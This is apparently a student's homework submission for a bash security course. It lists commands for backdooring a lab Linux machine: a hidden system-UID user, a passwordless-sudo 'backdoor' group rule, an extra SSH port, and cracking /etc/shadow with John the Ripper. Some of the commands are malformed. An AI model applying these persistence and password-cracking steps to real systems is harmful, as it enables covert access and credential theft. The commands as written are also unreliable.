Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:
   - useradd -M sysd

2. Give your secret user a password:
   - sudo passwd sysd p$ssw0rd

3. Give your secret user a system UID < 1000:
   - sudo usermod -u 900 sysd

4. Give your secret user the same GID:
   - usermod -g 900 sysd

5. Give your secret user full `sudo` access without the need for a password:

   - %Mybackdoorgroup ALL=(ALL) NOPASSWD: ALL

6. Test that `sudo` access works without your password:

   ```bash
   sudo -l
   sudo mkdir secertfiles
   ```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file:

   ```bash
   Port 22
   Port 2222
   ```

Step 3: Testing Your Configuration Update
1. Restart the SSH service:
   - sudo service ssh restart

2. Exit the `root` account:
   - pkill -KILL -u root , sysadmin:~\ $ logout

3. SSH to the target machine using your `sysd` account and port `2222`:
   - ssh sysd@192.168.6.105 -p 2222

4. Use `sudo` to switch to the root user:
   - `sudo su

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`:

   - ` ssh sysd@192.168.6.105 -p 2222

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

   - `sudo john /etc/shadow